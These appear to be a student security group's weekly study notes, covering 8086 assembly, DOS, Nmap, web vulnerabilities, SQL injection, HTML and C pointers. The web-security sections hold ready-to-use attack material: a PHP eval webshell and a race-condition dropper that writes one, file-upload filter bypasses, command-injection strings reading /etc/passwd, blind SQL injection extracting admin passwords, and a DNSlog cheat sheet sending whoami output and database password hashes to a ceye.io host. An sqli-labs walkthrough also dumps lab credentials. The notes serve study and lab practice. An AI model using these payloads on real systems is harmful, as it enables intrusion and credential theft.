B组第六周笔记

金博豪

汇编语言基础知识

汇编语言指令组成
  • 汇编指令:机器码的助记符,有对应的机器码。
  • 伪指令:没有对应的机器码,编译器执行,机器不执行。
  • 其他符号:如+-*/有编译器识别,无对应机器码。
CPU与外部器件交互需要
  • 存储单元地址(地址信息)
  • 器件选择,读写命令(控制信息)
  • 数据(数据信息)
总线

总线就是一根根导线的集合,分为

地址总线:越宽(数量越多)代表可以寻址的范围越大

数据总线:越宽代表一次性读写的数据越多(8根1字节)

控制总线:越宽代表对器件控制操作越多

汇编指令和机器指令一一对应

每一种cpu都有自己的汇编指令集

在存储器中指令和数据都是二进制,没有任何区别

CPU可以直接使用的信息存放在存储器中(内存)

接口卡

CPU无法直接控制显示器,键盘等的外围设备,但CPU通过直接控制这些外围设备在主板上的接口卡来控制这些设备。

存储器

随机存储器(RAM):带电存储,关机丢失,可读可写

用于存放CPU使用的绝大部分程序和数据,主随机存储器由装在主板上的RAM和扩展插槽的RAM组成。

其他接口卡上也可能有自己的RAM

只读存储器(ROM):关机不丢,只能读取

主板上的ROM装有系统的BIOS(基本输入输出系统)。

其他接口卡上也可能有自己的ROM,一般装着相应的BIOS。

内存地址空间

以上这些内存都和CPU总线相连,CPU都通过控制总线向他们发出内存读写命令。所以CPU都把他们当内存对待,看做一个一个由若干存储单元组成的逻辑存储器,即内存地址空间

通用寄存器

8086CPU寄存器都是16位的,一共14个,分别是AX,BX,CX,DX,SI,DI,SP,BP,IP,CS,SS,DS,ES,PSW。其中AX,BX,CX,DX四个寄存器通常存放一般性的数据,称为通用寄存器。

而且为了兼容上一代的8位寄存器,这四个寄存器可以拆开成两个8位的寄存器来使用。称为AH,AL,BH,BL,CH,CL,DH,DL。低八位(编号0-7)构成L寄存器,高八位构成H寄存器。

8086CPU可以处理以下两种数据

字节byte,8位

字word,连个字节,16位。分别称为高位字节和低位字节。

汇编指令

mov ax,18 将18存入ax寄存器 ax=18

add ax,8 将8加到ax中 ax=ax+8

mov ax,bx 将bx的数据存到ax中 ax=bx

add ax,bx 将bx的数据加到ax ax=ax+bx

汇编指令或寄存器名称不区分大小写。

AX寄存器当做两个8位寄存器al和ah使用的时候,CPU就把他们当做两个8位寄存器使用,而不会看成是一个16未分开,即如果al进行加法运算C5+93=158,即add al,93,al会变成58,ax则是0058而不是0158。

CPU位结构

16位结构的CPU指的是运算器一次最多处理16位数据,寄存器宽度16,寄存器和运算器之间通路也是16位。

CPU表示物理地址

如果物理总线宽度超过寄存器宽度,CPU寻址方法是两个寄存器输出一个地址,当地址总线宽度20的时候,P21图。一个寄存器输出短地址,另一个输出偏移地址。然后通过地址加法器合并为一个20位的地址,然后通过内部总线送给控制电路,控制电路通过地址总线送给内存。

公式:物理地址=段地址x16+偏移地址

虽然这么表示,但内存并没有被分为一段一段的,是CPU划分的段。段地址x16称为基础地址,所以我们可以根据需求把任意的基础地址加上不超过一个寄存器表示的最长(64KB)的偏移地址来表示地址。而且一个实际地址往往可以有各种不同的方法表示,通常我们表示21F60H这个地址通过下面方法:

2000:1F60

2000H段中的1F60单元中

段寄存器与指令指针寄存器

8086CPU有四个段寄存器:CS,DS,SS,ES

除此之外,IP寄存器称为指令指针寄存器,所以任意时刻可以读取从CSx16+IP单元开始,读取一条指令执行。也就是说,CPU将IP指向的内容当做指令执行。

P26图,CPU执行一段指令。另外,8086CPU开机时CS被置为FFFFH,IP被置为0000H,也就是说刚开机的第一条指令从FFFF0H开始读取执行。

CPU将CS:IP指向的内存中的内容当做指令,一条指令被执行了,那一定被CS:IP指向过。

修改CS,IP

CS和IP寄存器不可以使用传送指令mov来改变,而能改变CS,IP内容的指令是转移指令。

jmp指令用法:

jmp 段地址:偏移地址 同时修改CS和IP的值 如jmp 2AE3:3 结果CS=2AE3H IP=0003H

jmp 某一合法寄存器 只修改IP的值 如jmp ax,将IP的值置为AX中的值(AX不变)

8086CPU有四个段寄存器,CS是用来存放指令的段地址的段寄存器

IP用来存放指令的偏移地址

CS:IP指向的内容在任意时刻会被当做指令执行

使用转移指令修改CS和IP的内容

Debug命令

R:查看,改变CPU寄存器内容

直接-r查看寄存器内容

-r 寄存器名,改变寄存器内容

D:查看内存中内容

-d直接查看

-d 段地址:偏移地址 查看固定地址开始的内容

-d 段地址:偏移地址 结尾偏移地址 查看指定范围内存

E:改写内存中内容

-e 起始地址 数据 数据 数据 …

提问方式修改 -e 段地址:偏移地址 从这个地址开始一个一个改,空格下一个,回车结束

也可以写入字符 ‘a’

U:将内存中的机器指令翻译成汇编指令

-u 段地址:偏移地址

T:执行一条机器指令

-t 执行cs:ip指向的命令

A:以汇编指令格式在内存中写入一条机器指令

-a 段地址:偏移地址 从这个地址开始一行一行的写入汇编语句

DS寄存器

与CS类似,DS寄存器存放的是要从内存中读取的数据的段地址。我们想要使用mov指令从内存10000H(1000:0)中的数据送给AL时,如下:

mov al,[0]

后面的[0]指的是内存的偏移地址是0,CPU会自动从DS寄存器中提取段地址,所以应该首先将段地址1000H写入DS寄存器中。但却不能直接使用mov ds,1000指令,只能从其他寄存器中转传入DS寄存器。所以完整命令如下:

mov bx,1000

mov ds,bx

mov al,[0]

如果需要传输字型数,只要使用对应的16位寄存器,传输的是以相应地址开始的一个字型数据(连续两个字节)。如:mov [0],cx

add和sub不能对段寄存器进行改变

栈是一种后进先出的存储空间,从栈顶出栈入栈

入栈指令:push ax ax中的数据送入栈顶

出栈指令:pop ax 栈顶送入ax

入栈和出栈指令都是以字为单位的

栈寄存器SS,SP与push,pop

CPU通过SS寄存器和SP寄存器来知道栈的范围,段寄存器SS存放的是栈顶的段地址,SP寄存器存放的是栈顶的偏移地址。所以,任意时刻SS:SP指向栈顶元素。

指令push ax执行过程:

SP=SP-2,SP指针向前移动两格代表新栈顶

AX中的数据送入SS:SP目前指向的内存字单元

所以栈顶在低地址,栈底在高地址。初始状态下,SP指向栈底的下一个单元。

反之pop ax执行过程相反。

8086CPU并不会自己检测push是否会超栈顶,pop是否会超栈底。

push和pop可以加寄存器,段寄存器,内存单元(直接偏移地址[address])

指定栈空间通常通过指定SS来进行

将一个寄存器清零 sub ax,ax 两个字节,mov ax,0 三个字节

若设定一个栈段为10000H~1FFFFH,栈空的时候SP=0,这就形成了一个循环

[BX]和loop指令

内存单元的描述

内存单元可以使用[数字]表示,当然也可以使用[寄存器]表示,如[bx],mov ax,[bx],mov al,[bx]

为了表示方便,使用()来表示一个内存单元或寄存器中的内容,如(ax),(20000H),或((dx)*16+(bx))表示ds:bx中的内容,但不可写为(1000:0),((dx):0H)。而(X)中的内容由具体寄存器名或运算来决定

我们使用idata来表示常亮 mov ax,[idata] mov ax,idata。

loop指令

loop指令格式:loop 标号

loop指令通常用来实现循环功能,当执行loop指令时,CPU进行两步操作:

(cx)=(cx)-1

(cx)不为零则跳至标号处执行程序

使用loop

先设置cx的值 mov cx,循环次数

设置标号与执行循环的程序段 s:执行程序段

在程序段最后写loop loop

在汇编语言中,数据不能以字母开头,所以大于9fffH的数据,要在开头加0,如0A000H

debug中G命令 g 0012表示CPU从当前CS:IP开始一直执行到0012处暂停。P命令可以将loop部分一次执行完毕,直到(CX)=0,或使用g loop的下一条命令。

郑佳榆

捕获http协议

火狐游览器:http header live 捕获http

编码方式

URL编码

Base64编码

HTML实体化编码

加密

MD5加密是广泛使用的一种散列函数

无法逆解,计算容易,长度固定,破解困难。

dos命令

查看命令

1.Cd 进入某一路径

3.More 查看文件内容

4.Type 查看文件内容

操作命令
  1. Md 创建文件夹
  2. Rd 删除空文件夹
  3. Copy 复制
  4. Del 删除
  5. Ren 重命名文件

搜索引擎高级语法

intitle: 标题包含

intext: 内容包含

inurl: 在某一网址下的特定内容

site:www.baidu.com 查看该网址的站点信息

Nmap

-sT TCP connect0扫描,这种方式会在目标主机的日志中记录大批的链接请求以及错误信息。
-sP ping扫描,加上这个参数会使用ping扫描,只有主机存活, nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping,却实际存在。
-sS 半开扫描,一般不会记入日志,不过需要root权限。
-sU udp扫描,但是一般不可靠-SA 用来穿过防火墙的规则集,速度慢。
-sV 端口服务及版本
-A 包含了-sV,-O,全面系统检测,启动脚本检测,扫描等。
-PO扫描之前不使用ping,适用于防火墙禁上ping,比较有用。
-v 显示扫描进程
-0 探测目标系统的漏洞,容易误报
-ON/-oX/-0G 将报告写入文件,格式分别为正常(自定义.txt) ,XML,grepable.
-iL 扫描主机列表


扫描C段:

namp -sP www.baidu.com/24 -oN ip.txt

扫描指定端口:

nmap -p 80 198.169.1.2


渗透测试

信息搜集

渗透测试就是信息收集的过程

要知道 IP 端口(1-65535) 域名 (baidu.com 一级域名 www.baidu.com 二级域名 XXX.www.baidu.com 三级域名)

  1. 博客 列如typecho,WordPress博客
  2. OA系统

关于网站的语言:

  1. PHP
  2. JAVA—反序列化
  3. Python—模板注入
  4. ASP

子域名搜索——-旁站

网站目录

网站中附件

查询开放端口

kali linux : nmap -Pn -sV www.cjlusec.com

操作系统
windows

不区分大小写

当使用powershell : cat Aa.txt

能打开aa.txt

Linux

区分大小写

当在linux中: cat aA.txt

无法查看aa.txt的内容

小结论

(通过能否区分大小写打开文件来判断操作系统)

漏洞挖掘

弱口令(危害不一定)

储存型XSS
反射性XSS
DOM型XSS

CSRF—-跨站请求伪造漏洞

RCE—-远程命令执行/远程代码执行

(直接可以获取权限)

远程命令执行

exec(whoami) 执行一个外部程序

shell_exec 执行一个shell环境命令

<?php 

if($_POST['ip']){

   echo system('ping '.$_POST['ip']);

}

?>

命令连接符号总结

command1 && command2 先执行command1后执行command2

127.0.0.1 && id

command1 | command2 只执行command2

command1 & command2

先执行command1后执行command2

127.0.0.1 -c 3 & cat /etc/passwd

SQL注入

文件包含漏洞

include()

include_once()

require()

require_once()

文件上传漏洞

直接上传了webshell

<?php @eval($_REQUEST[‘cmd’]);?>

比如智能上传图片,这样的话就需要配合文件包含漏洞

  1. 通过抓包绕过前端

  2. 改type 上传

  3. 用php5,php4等后缀名绕过黑名单上传

  4. 没有禁用.htaccess,创建一个.htaccess文件内容为:SetHandler application/x-httpd-php

  5. 没有将大小写统一,采用大小写方式进行绕过

  6. 后缀名中加空绕过 .php空格

  7. 后缀名加.的方式绕过

  8. 没有去除字符串::$DATA

  9. 绕过方法:后缀名+.+空格+.进行绕过

  10. 绕过方法:双写绕过 123.phphpp 过滤了php

    %00截断

关于条件竞争

首先需要知道文件上传的位置

然后上传php文件,例如1818.php

GIF89a
<?php fputs(fopen(‘ii.php’,’w’),’<?php @eval($_POST[“cmd”])?>’);?>

加入intruder爆破里面

然后再截取一个访问1818.php的包也加入到intruder爆破里面

项枫

SSQL注入篇

sqlserver延时注入

简介

waitfor delay ‘0:0:5’ 等待5秒再执行操作 ,页面将5秒之后返回

select 1 waitfor delay ‘0:0:5’

判断注入

http://www.demo1.com/index.aspx?id=1 waitfor delay ‘0:0:5’

页面延时5秒返回

SUBSTRING 截取字符串

查询信息

数据库版本 (select @@version)

数据库名 (select db_name())

获取密码 (select password from admin)

截取字符判断法

DB_NAME() mydb

SUBSTRING 从第一位开始取一位

select SUBSTRING(DB_NAME(),1,1)

if m=m

select * from art where id=1 if(SUBSTRING(DB_NAME(),1,1)=CHAR(109)) waitfor delay ‘0:0:5’

select * from art where id=1 if(SUBSTRING(DB_NAME(),1,1)=’m’) waitfor delay ‘0:0:5’

http://www.demo1.com/index.aspx?id=1 if(SUBSTRING(DB_NAME(),1,1)=CHAR(109)) waitfor delay ‘0:0:5’!

http://www.demo1.com/index.aspx?id=1 if(SUBSTRING(DB_NAME(),1,1)=’m’) waitfor delay ‘0:0:5’

ascii码半截法

把字符转成ascii码

select * from art where id=1 IF ASCII(SUBSTRING(DB_NAME(),1,1))=109 WAITFOR DELAY ‘0:0:5’

select * from art where id=1 IF ASCII(SUBSTRING(DB_NAME(),1,1))>30 WAITFOR DELAY ‘0:0:5’

http://www.demo1.com/index.aspx?id=1 IF ASCII(SUBSTRING(DB_NAME(),1,1))>30 WAITFOR DELAY ‘0:0:5’—

查询password 的第一个密文的ascii码

select * from art where id=1 IF ASCII(SUBSTRING((select password from admin),1,1))=101 WAITFOR DELAY ‘0:0:5’

http://www.demo1.com/index.aspx?id=1 IF ASCII(SUBSTRING((select password from admin),1,1))=101 WAITFOR DELAY ‘0:0:5’

位移注入

简介

联合查询的一种

原理

在SQL中查询 select * from admin 星号代表所有字段。

确定当前表字段数,将另一个表联合进来

注意

使用这种方法

当前表的字段大于或等于联合的表

这里当前表就是 article 联合的表就是 admin

其他数据库

order by的字段数

dnslog无回显注入

原理

因为是直接显示数据

平台

http://ceye.io

0x00 Command Execution

nix:

curl http://ip.port.b182oj.ceye.io/`whoami`

ping whoami.ip.port.b182oj.ceye.io

ii. windows

ping %USERNAME%.b182oj.ceye.io

0x01 SQL Injection

i. SQL Server

DECLARE @host varchar(1024);

SELECT @host=(SELECT TOP 1

master.dbo.fn_varbintohexstr(password_hash)

FROM sys.sql_logins WHERE name=’sa’)

+’.ip.port.b182oj.ceye.io’;

EXEC(‘master..xp_dirtree

“\‘+@host+’\foobar$”‘);

ii. Oracl

SELECT UTL_INADDR.GET_HOST_ADDRESS(‘ip.port.b182oj.ceye.io’);

SELECT UTL_HTTP.REQUEST(‘http://ip.port.b182oj.ceye.io/oracle‘) FROM DUAL;

SELECT HTTPURITYPE(‘http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;

SELECT DBMS_LDAP.INIT((‘oracle.ip.port.b182oj.ceye.io’,80) FROM DUAL;

SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name=’SYS’)||’.ip.port.b182oj.ceye.io’,80) FROM DUAL;

iii. MySQL

SELECT LOAD_FILE(CONCAT(‘\\‘,(SELECT password FROM mysql.user WHERE user=’root’ LIMIT 1),’.mysql.ip.port.b182oj.ceye.io\abc’));

iv. PostgreSQL

DROP TABLE IF EXISTS table_output;

CREATE TABLE table_output(content text);

CREATE OR REPLACE FUNCTION temp_function()

RETURNS VOID AS $

DECLARE exec_cmd TEXT;

DECLARE query_result TEXT;

BEGIN

SELECT INTO query_result (SELECT passwd

FROM pg_shadow WHERE usename=’postgres’);

exec_cmd := E’COPY table_output(content)

FROM E\’\\\\‘||query_result||E’.psql.ip.port.b182oj.ceye.io\\foobar.txt\’’;

EXECUTE exec_cmd;

END;

$ LANGUAGE plpgsql SECURITY DEFINER;

SELECT temp_function();

0x02 XML Entity Injection

<?xml version=”1.0” encoding=”UTF-8”?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM “http://ip.port.b182oj.ceye.io/xxe_test">

%remote;]>

0x03 Others

i. Struts2

xx.action?redirect:http://ip.port.b182oj.ceye.io/%25{3*4}

xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘whoami’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d”http://ip.port.b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

ii. FFMpeg

#EXTM3U

#EXT-X-MEDIA-SEQUENCE:0

#EXTINF:10.0,

concat:http://ip.port.b182oj.ceye.io

#EXT-X-ENDLIST

iii. Weblogic

xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip.port.b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search

iv. ImageMagick

push graphic-context

viewbox 0 0 640 480

fill ‘url(http://ip.port.b182oj.ceye.io)’

pop graphic-context

v. Resin

xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://ip.port.b182oj.ceye.io/ssrf

vi. Discuz

http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://ip.port.b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo

实战mysql

查询库当前库

SELECT * FROM users WHERE id=’1’ and if((select load_file(concat(‘\\‘,(select database()),’.fooe50.ceye.io\abc’))),1,0)

查询数据版本

SELECT * FROM users WHERE id=’1’ and if((select load_file(concat(‘\\‘,(select VERSION()),’.fooe50.ceye.io\abc’))),1,0)

查询admin表的帐号和密码

http://target_sys.com/article.php?id=1 and if((select load_file(concat(‘\\‘,(select password from admin ),’.fooe50.ceye.io\abc’))),1,0)

http://target_sys.com/article.php?id=1 and if((select load_file(concat(‘\\‘,(select username from admin ),’.fooe50.ceye.io\abc’))),1,0)

load_file 使用这个函数 必须 在mysql开启 secure_file_prv= 设置可以读取方可使用这个函数

实战sqlserver

DECLARE @host varchar(1024);

SELECT @host=(SELECT TOP 1

master.dbo.fn_varbintohexstr(password_hash)

FROM sys.sql_logins WHERE name=’sa’)

+’.ip.port.b182oj.ceye.io’;

EXEC(‘master..xp_dirtree

“\‘+@host+’\foobar$”‘);

查询sa 密文

;DECLARE @host varchar(1024);SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_logins WHERE name=’sa’)+’.ip.port.fooe50.ceye.io’;EXEC(‘master..xp_dirtree “\‘+@host+’\foobar$”‘);

SQL注入类型的区分详解

三种常用接收方式

GET

GET请求的参数是放在URL里的,GET请求的URL传参有长度限制 中文需要URL编码

URL最长的长度 https://www.cnblogs.com/cuihongyu3503319/p/5892257.html

POST

POST请求参数是放在请求body里的,长度没有限制

cookie参数放在请求头信息,提交的时候 服务器会从请求头获取参数。

注入数据类型的区分 —>除了第一种以外 其余在判断注入或查询语句的时候都要进行闭合

int 整型

select * from user where id=1

sting 字符型

select * from user where username=’admin’

like 搜索型

select * from news where title like ‘%标题%’

字符型 注入闭合

select * from user where username=’admin’ and ‘x’=’x’

like 模糊型注入闭合
select from news where title like ‘%标题%’
from news where title like ‘%标题%’ and ‘1%’ = ‘1%’

%’ and ‘1%’ = ‘1 这个是闭合的部分

select * from news where title like ‘%s%’ and ‘1%’ = ‘1%’

注入方法区分

联合查询注入 union select 联合两个表

报错注入 数据库报错信息 进行注入

盲注入

布尔型注入

时间型注入

姚佳远

一、SQL注入原理:

  SQL注入就是用户输入的SQL语句到参数中,最终达到欺骗服务器执行恶意的SQL命令。

  执行SQL注入的语句:

select` `* ``from` `数据库 ``where` `id =``' 1'` `and` `1=1 ``-- ' ; //字符型 输入 1' and 1=1 --
select` `* ``from` `数据库 ``where` `id = 1 ``and` `1=1 ``-- ;  //数字型 输入1 and 1=1 --

  字符型需要闭合掉单引号,两者都是通过—注释掉后面的代码,执行and 1=1 语句,可以配合用and 1=2 来验证语句是否执行。 

二、Sqli-labs下载

Sqli-labs是一个印度程序员写的,用来学习sql注入的一个游戏教程。博客地址为:

http://dummy2dummies.blogspot.hk/,博客当中有一些示例,国内很多博客内容都是从该作者的博客翻译过来的。同时该作者也发了一套相关的视频,在youtube上可以查看。ps:印度人讲英语口音太重了。。。。凑合着听懂点。

此处考虑到有些朋友不会FQ,遂分享到国内地址。

http://pan.baidu.com/s/1bo2L1JT

Ps:不想看视频的可以直接忽略视频,口音实在脑门疼,此处本来想自己录视频的,但现在来看,时间比较有限

Sqli-labs项目地址—-Github获取:https://github.com/Audi-1/sqli-labs

(考虑到安全性问题,就不搬运这个了)

三、Sqli-labs安装

需要安装以下环境

  1. apache+mysql+php

  2. Tomcat+mysql+java(部分关卡需要)

    如果可以的话,推荐在windows和linux下分别安装:

    Windows下可以用wamp、phpstudy、apmserv等直接安装,linux下可在网上搜索教程进行安装。例如ubuntu下,新手基本靠软件中心和apt-get 进行安装。这里就不赘述环境的安装了。

    我的测试环境是windows下用wamp直接搭建的,linux平台用ubuntu14.04,apache+mysql+php

同时,在后面的几个关卡中,需要用到tomcat+java+mysql的服务器,此处因已经安装apache+mysql+php,所以我们需要安装tomcat+jre+java连接mysql的jar,具体过程不详细讲解。

Sqli-labs安装

将之前下载的源码解压到web目录下,linux的apache为 /var/www/html下,windows下的wamp解压在www目录下。

修改sql-connections/db-creds.inc文件当中的mysql账号密码

将user和pass修改你的mysql 的账号和密码,访问127.0.0.1的页面,点击setup/reset database for labs

进行安装数据库的创建,至此,安装结束。我们就可以开始游戏了。

四、Sqli-labs通关

在源码中添加两行代码便于调试

1 echo "有效输入:".$id."<br>";
2 echo "执行的MySQL语句为:"."$sql"."<br>";

Less-1:字符型SQL注入漏洞,直接注入:

1、判断注入点:
输入:http://localhost/sqli-labs/Less-1/?id=1‘ and 1=1 —+
执行的MySQL语句为:SELECT FROM users WHERE id=’1’ and 1=1 — ‘LIMIT 0,1
2、查询列数:
order by 方法查询:
输入:http://localhost/sqli-labs/Less-1/?id=1‘ order by 3 —+
FROM users WHERE id=’1’ order by 3 — ‘ LIMIT 0,1

输入:http://localhost/sqli-labs/Less-1/?id=1‘ order by 4—+
报错,说明表格为3列。

输入:http://localhost/sqli-labs/Less-1/?id=1‘ union select null,null,null ‘

http://localhost/sqli-labs/Less-1/?id=1‘ union select 1,2,3 ‘

http://localhost/sqli-labs/Less-1/?id=1‘ union select 1,2,3 and ‘1’=1’

3、查询数据库信息
先介绍几个函数:
  (1)version():查看数据库版本
  (2)user():查看当前用户
  (3)database():查看使用的数据库
  (4) limit :limit子句来分批获取所有数据

http://localhost/sqli-labs/Less-1/?id=1‘ and 1=2 union select null,user(),database() ‘ //使用id=1’ and 1=2 或者id=-1出错爆版本

查询数据库名信息的语句:
http://localhost/sqli-labs/Less-1/?id=1‘ and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 —+

4、爆数据:
security:0x7365637572697479
user:0x7573657273
输入:http://localhost/sqli-labs/Less-1/?id=1‘ and 1=2 union select null,group_concat(column_name),null from information_schema.columns where table_name=0x7573657273 and ‘1’ = ‘1

输入:http://localhost/sqli-labs/Less-1/?id=1‘ and 1=2 union select null,username,password from users —+

group_concat用法:
group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])

5、查询所有数据库 information_schema -> schemata -> schema_name
SQL语句: select schema_name from information_schema.schemata;
http://127.0.0.1/sqli-labs/Less-1/?id=861‘ union select 1,(select group_concat(schema_name) from information_schema.schemata),3 —+

6、查询所有表(security)information_schema -> tables -> table_name table_schema
SQL语句查询数据表:

可以用十六进制也可以直接用字符:

‘ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),3 —+’ union select 1, (select group_concat(table_name) from information_schema.tables where table_schema=”security”) ,database() —+’ and 1=2 union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema =database() ) —+

7、获取字段名:’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572),3 —+

限制获取security库,user表的字段

8、获取数据(显示users里面的用户和密码) union select 1,(select group_concat(0x5c,username,0x5c,password) from users),3 —+

——————————完成了———————————————

总结:
表名:table_name;
字段名(列名):column_name

ASCII:

练习第2次:
查询库:’ union select 1,database(),(select group_concat(schema_name) from information_schema.schemata) —+
Your Login name:security
Your Password:information_schema,aaa,challenges,discuz,dvwa,fendo,jokeDB,mysql,performance_schema,security,test,user
查询表:’ union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema =”security”) —+
Your Login name:security

查询列:’ union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_name =”users” and TABLE_SCHEMA = “security” ) —+
Your Login name:security
Your Password:id,username,password
综合:数据库:security 表有:emails,referers,uagents,users 数据列:id,username,password
查询数据:’ union select 1,database(),(select group_concat(username,”||”,password) from users ) —+
Your Login name:security
Your Password:Dumb||Dumb,Angelina||I-kill-you,Dummy||p@ssword,secure||crappy,stupid||stupidity,superman||genious,batman||mob!le,admin||admin,admin1||admin1,admin2||admin2,admin3||admin3,dhakkan||dumbo,admin4||admin4

许俊一

html

html是一种描述网页的一种语言,是一种标记语言

例如:

<html>
<body>

<h1>我的第一个标题</h1>

<p>我的第一个段落。</p>

</body>
</html>

HTML 链接是通过 标签进行定义的。This is a link</a href 属性中指定链接的地址

HTML 图像是通过

图像的名称和尺寸是以属性的形式提供的。

h1 align=”center” 拥有关于对齐方式的附加信息。 居中

body bgcolor=”yellow” 更改背景颜色


hr 换行线标签

加粗
加粗
斜体
下划线

上标
下标
删除线

规定字体属性
size 字体的大小

pre /pre> 代码样式原样输出

input标签

name:同样是表示的该文本输入框名称。
size:输入框的长度大小。
maxlength:输入框中允许输入字符的最大数。
value:输入框中的默认值

input的类型

type=password 密码输入框

type=file 文件上传

type=hidden 隐藏域

button 按钮

checkbox 选择框

radio 多选框

type=submit 提交按钮

a标签、img标签、table标签

a标签的作用:就是用于控制界面与页面之间的跳转的

默认就是self

_blank :用于在新的选项卡中跳转,也就是新建页面跳转

百度

百度

锚文本
锚点
锚点

img 元素向网页中嵌入一幅图像。

alt 规定图像的替代文本。

src 规定显示图像的url

width 规定图片的高度

table 表格

border 边框
width 宽度
height 高度
colspan 行

表格
cellpadding 单元边与内容的空白

列表标签






  • 无序列表

    有序列表
    数字列表 默认 数字
    小写字母列表 a
    大写字母列表 A
    罗马字母列表 I

    C指针

    指针和数组

    定义指针变量

    指针的运算

    image-20211208230535495

    指针数组和数组指针

    指针和数组的区别

    结论:数组名只是一个地址,而指针则是一个左值。

    image-20211208224506081

    指针数组

    如图得:image-20211208224549029

    []优先级高

    int *p[5];image-20211208224801752

    结论指针数组是一个数组,每个数组元素存放一个指针变量

    image-20211208225138643

    image-20211208225122783

    字符指针数组

    image-20211208225512087

    image-20211208225526767

    数组指针

    int (*p2)[5];

    image-20211208225649744

    image-20211208230435433

    image-20211208230452571

    二维数组和指针

    *(array+1)表示什么

    image-20211209110825280

    *(array+1)+3

    image-20211209110934309

    结论

    image-20211209111035198

    void指针和NULL指针

    void指针

    viod指针我们把它称为通用指针,就是可以想任意类型的数据。也就是说,任何类型的指针都可以赋值给void指针

    将void指针转为其他类型指针时需要强制类型转换 如:

    image-20211209112512235

    image-20211209112502157

    用void标时需要充分的注释

    NULL指针

    当你还不清楚要将指针初始化为什么地址时,请将它初始化NULL;在对指针进行解引用时,先检查该指针是否为NULL。

    为什么要用NULL指针:如果不初始化为NULL指针将为野指针(迷途指针)就会随机生成一个数 如果这个数时合法的编译器将不会报错。

    define NULL ((void *)0)

    对NULL指针进行解引用会报错,NULL用于指针和对象,表示控制,指向一个不被使用的地址;而’\O’表示字符串的结尾。

    指向指针的指针

    例子:

    image-20211209115059590

    image-20211209115106828

    指针数组和指向指针的指针

    image-20211209120038302

    byFishc定义为指向字符指针的指针变量

    &cBooks[5]指向字符指针的指针

    **jiayuLoves[4],jiayuLoves[4]为数组,数组里存放的为指向指针的指针

    image-20211209120111258

    好处:

    image-20211209120157384

相关推荐

发表评论

路人甲

网友评论(0)